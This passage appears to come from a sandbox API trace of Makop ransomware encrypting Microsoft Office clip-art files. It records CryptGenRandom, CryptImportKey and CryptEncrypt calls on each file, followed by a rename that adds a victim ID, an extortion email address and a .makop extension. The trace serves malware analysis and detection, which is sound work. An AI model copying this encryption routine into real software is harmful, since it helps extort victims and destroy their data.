lpNumberOfBytesWritten=0x6577aa8*=0x9540, lpOverlapped=0x0) returned 1 [0165.117] CryptDestroyKey (hKey=0x48c7128) returned 1 [0165.118] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x9614, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0165.118] SetEndOfFile (hFile=0xf0) returned 1 [0165.131] GetProcessHeap () returned 0x48a0000 [0165.131] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbec8 | out: hHeap=0x48a0000) returned 1 [0165.131] GetProcessHeap () returned 0x48a0000 [0165.131] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0165.131] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0301252.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 108 [0165.131] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0301252.WMF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0301252.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0301252.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0301252.wmf.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0165.133] CloseHandle (hObject=0xf0) returned 1 [0165.134] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5570900, ftCreationTime.dwHighDateTime=0x1bf4530, ftLastAccessTime.dwLowDateTime=0xbd6b5ec0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x5570900, ftLastWriteTime.dwHighDateTime=0x1bf4530, nFileSizeHigh=0x0, nFileSizeLow=0x1f40, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0301480.WMF", cAlternateFileName="")) returned 1 [0165.134] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0301480.WMF") returned 61 [0165.134] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0301480.WMF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0301480.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0165.136] GetProcessHeap () returned 0x48a0000 [0165.136] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0165.136] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0165.136] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0165.137] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0165.137] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0165.137] GetProcessHeap () returned 0x48a0000 [0165.137] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbec8 [0165.137] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0165.137] CryptDestroyKey (hKey=0x48c7128) returned 1 [0165.137] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbec8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbec8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0165.142] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0165.142] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0165.142] WriteFile (in: hFile=0xf0, lpBuffer=0x48c3e78*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c3e78*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0165.143] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0165.143] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0165.143] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0165.143] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0165.143] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0165.143] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x1f40, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0x1f40, lpOverlapped=0x0) returned 1 [0165.145] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0x1f40, dwBufLen=0x1f40 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0x1f40) returned 1 [0165.145] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0165.145] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x1f40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0x1f40, lpOverlapped=0x0) returned 1 [0165.146] CryptDestroyKey (hKey=0x48c7128) returned 1 [0165.146] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x2014, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0165.146] SetEndOfFile (hFile=0xf0) returned 1 [0165.153] GetProcessHeap () returned 0x48a0000 [0165.153] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbec8 | out: hHeap=0x48a0000) returned 1 [0165.153] GetProcessHeap () returned 0x48a0000 [0165.153] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0165.153] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0301480.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 108 [0165.154] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0301480.WMF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0301480.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0301480.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0301480.wmf.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0165.156] CloseHandle (hObject=0xf0) returned 1 [0165.156] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xced53d00, ftCreationTime.dwHighDateTime=0x1bf4a9f, ftLastAccessTime.dwLowDateTime=0xbd6b5ec0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xced53d00, ftLastWriteTime.dwHighDateTime=0x1bf4a9f, nFileSizeHigh=0x0, nFileSizeLow=0x5a2b, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0302827.JPG", cAlternateFileName="")) returned 1 [0165.156] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0302827.JPG") returned 61 [0165.156] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0302827.JPG" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0302827.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0165.158] GetProcessHeap () returned 0x48a0000 [0165.158] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0165.158] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0165.158] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0165.158] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ad8*, nNumberOfBytesToWrite=0x5, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ad8*, lpNumberOfBytesWritten=0x6577aa8*=0x5, lpOverlapped=0x0) returned 1 [0165.166] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0165.167] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0165.167] GetProcessHeap () returned 0x48a0000 [0165.167] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbec8 [0165.167] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0165.167] CryptDestroyKey (hKey=0x48c7128) returned 1 [0165.167] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbec8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbec8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0165.167] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0165.167] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0165.168] WriteFile (in: hFile=0xf0, lpBuffer=0x48c0640*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c0640*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0165.168] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0165.168] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0165.168] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0165.168] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0165.169] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0165.169] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x5a2b, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0x5a2b, lpOverlapped=0x0) returned 1 [0165.171] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0x5a30, dwBufLen=0x5a30 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0x5a30) returned 1 [0165.172] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0165.172] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x5a30, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0x5a30, lpOverlapped=0x0) returned 1 [0165.173] CryptDestroyKey (hKey=0x48c7128) returned 1 [0165.173] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x5b04, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0165.173] SetEndOfFile (hFile=0xf0) returned 1 [0165.183] GetProcessHeap () returned 0x48a0000 [0165.183] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbec8 | out: hHeap=0x48a0000) returned 1 [0165.183] GetProcessHeap () returned 0x48a0000 [0165.184] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0165.184] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0302827.JPG.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 108 [0165.184] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0302827.JPG" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0302827.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0302827.JPG.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0302827.jpg.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0165.186] CloseHandle (hObject=0xf0) returned 1 [0165.186] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x33a69b00, ftCreationTime.dwHighDateTime=0x1bf4b65, ftLastAccessTime.dwLowDateTime=0xbd6b5ec0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x33a69b00, ftLastWriteTime.dwHighDateTime=0x1bf4b65, nFileSizeHigh=0x0, nFileSizeLow=0x25c1, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0302953.JPG", cAlternateFileName="")) returned 1 [0165.186] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0302953.JPG") returned 61 [0165.187] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0302953.JPG" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0302953.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0165.188] GetProcessHeap () returned 0x48a0000 [0165.188] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0165.189] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0165.189] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0165.189] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ad8*, nNumberOfBytesToWrite=0xf, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ad8*, lpNumberOfBytesWritten=0x6577aa8*=0xf, lpOverlapped=0x0) returned 1 [0165.199] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0165.199] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0165.199] GetProcessHeap () returned 0x48a0000 [0165.199] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbec8 [0165.199] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0165.200] CryptDestroyKey (hKey=0x48c7128) returned 1 [0165.200] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbec8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbec8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0165.200] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0165.200] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0165.200] WriteFile (in: hFile=0xf0, lpBuffer=0x48c3e78*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c3e78*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0165.201] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0165.202] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0165.202] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0165.202] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0165.202] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0165.202] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x25c1, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0x25c1, lpOverlapped=0x0) returned 1 [0165.204] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0x25d0, dwBufLen=0x25d0 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0x25d0) returned 1 [0165.205] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0165.205] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x25d0, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0x25d0, lpOverlapped=0x0) returned 1 [0165.205] CryptDestroyKey (hKey=0x48c7128) returned 1 [0165.205] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x26a4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0165.205] SetEndOfFile (hFile=0xf0) returned 1 [0165.230] GetProcessHeap () returned 0x48a0000 [0165.230] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbec8 | out: hHeap=0x48a0000) returned 1 [0165.230] GetProcessHeap () returned 0x48a0000 [0165.230] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0165.230] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0302953.JPG.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 108 [0165.230] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0302953.JPG" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0302953.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0302953.JPG.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0302953.jpg.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0165.240] CloseHandle (hObject=0xf0) returned 1 [0165.248] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfa04dd00, ftCreationTime.dwHighDateTime=0x1bf4531, ftLastAccessTime.dwLowDateTime=0xbd6b5ec0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xfa04dd00, ftLastWriteTime.dwHighDateTime=0x1bf4531, nFileSizeHigh=0x0, nFileSizeLow=0x4d84, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0304933.WMF", cAlternateFileName="")) returned 1 [0165.249] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0304933.WMF") returned 61 [0165.249] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0304933.WMF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0304933.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0165.251] GetProcessHeap () returned 0x48a0000 [0165.251] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0165.251] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0165.251] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0165.251] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ad8*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ad8*, lpNumberOfBytesWritten=0x6577aa8*=0xc, lpOverlapped=0x0) returned 1 [0165.256] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0165.256] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0165.256] GetProcessHeap () returned 0x48a0000 [0165.256] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbec8 [0165.256] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0165.256] CryptDestroyKey (hKey=0x48c7128) returned 1 [0165.256] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbec8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbec8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0165.256] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0165.256] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0165.257] WriteFile (in: hFile=0xf0, lpBuffer=0x48c0640*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c0640*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0165.257] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0165.257] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0165.257] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0165.257] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0165.257] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0165.257] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x4d84, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0x4d84, lpOverlapped=0x0) returned 1 [0165.259] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, 